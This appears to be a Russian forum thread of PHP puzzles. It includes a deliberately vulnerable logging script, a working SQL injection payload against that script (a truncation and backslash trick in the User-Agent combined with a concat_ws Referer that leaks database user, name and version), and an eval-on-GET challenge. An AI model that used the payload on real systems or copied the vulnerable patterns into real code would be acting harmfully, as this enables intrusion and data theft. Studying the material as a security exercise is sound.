Вот задачка от меня, найдите уязвимость в коде. Структура БД: PHP: <?php mysql_connect('localhost', 'root', 'secretpassword'); mysql_select_db('antichat'); //Обработка переменных function Sanitize($data_to_sanitize) { $data_to_sanitize = addslashes($data_to_sanitize); $data_to_sanitize = htmlspecialchars($data_to_sanitize); return $data_to_sanitize; } function Sanitize_Array($value) { $value = is_array($value) ? array_map('Sanitize_Array', $value) : Sanitize($value); return $value; } $_SERVER = array_map('Sanitize_Array', $_SERVER); $sql = "INSERT INTO stats (ip, useragent, referer) VALUES ('".substr($_SERVER['REMOTE_ADDR'],0,16)."', '".substr($_SERVER['HTTP_USER_AGENT'],0,255)."', '".substr($_SERVER['HTTP_REFERER'],0,255)."')"; mysql_query($sql); mysql_close(); ?>
Еще более компактный код в ответ на 11 вопрос PHP: $str=' 383 текст с числами 5838 635 еще текст 001 462 432текст564 '; $str=preg_replace("/(\d+)/se","'0x'.strtoupper(dechex(\\1))",$str); print $str;
по поводу задания 41: get_included_files() функция выдаст сначала файл, из которого произошёл вызов, а затем всё что в нём заинклудилось. задание 42: PHP: <?php function arr($amt) { $a=array(); $tmp=&$a; for($i=0;$i<$amt-2;$i++) { $tmp=&$tmp[0]; $tmp[0]=array(); } return $a; } ?> тока в последнем одна проблема - там, почему то предпоследний вложенный массив - ссылка, ну да не суть, вложенность всё равно нужная, и фактически это и есть массив, просто ссылается на место хранения другой переменной)
PHP: <?php $a = (int) $_GET['a']; if ($_GET['a'] == 1) exit; elseif($a == 1) eval ($_GET['b']); ?> Вывести phpinfo(); всеми способами
Да очень просто... Я уже один раз встречался с подобным Юзер-агент ставим: Code: 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000\ Реферер: Code: , concat_ws(0x3a,user(),database(),version())) -- И таким образом в поле "Реферер" запишется юзер, бд, версия. Почему? Да потому что substr() обрезает строку до 255 символов, а у нас она 256 символов - 254 нуля и слешированый слеш, тоесть \\. Ну а дальше по логике запроса идет: Code: INSERT INTO stats (ip, useragent, referer) VALUES ( '127.0.0.1', '[COLOR=Red][B]000...много нулей...00\',[/B][/COLOR]', concat_ws(0x3a,user(),database(),version()) ) --') ЗЫ: Вот тут была похожая ситуация: http://forum.antichat.ru/threadnav134652-1-10.html
3 новых задания! + 042 заменил т.к. оно было похоже на одно из предыдущих. Перенес все задания в первый пост. Он заполнен. Теперь во втором посте буду писать задания. Когда и он переполнится, создам новую тему. Спасибо всем кто добавляет свои задания. УДАЧИ!
Задание 046 ++$i - префиксный вариант инкремента $i++ - постфиксный Префиксный оператор вычисляется до присвоения, постфиксный после.
Задание 048 Узнаем кол-во аргументов, с помощью функции func_num_args() PHP: <?php function cat() { $numargs = func_num_args(); echo $numargs; } cat(1,2,5,8,5,478,8,5); ?>
50 заданий всего! самая большая сборка пхп заданий) будем продолжать в том же темпе. Напомню: Если ты придумал свое задание, не стесняйся , пости, я добавлю во второй пост Если ты знаешь как улучшить задания или тебе что-то не нравится, пиши сюда или мне в аську.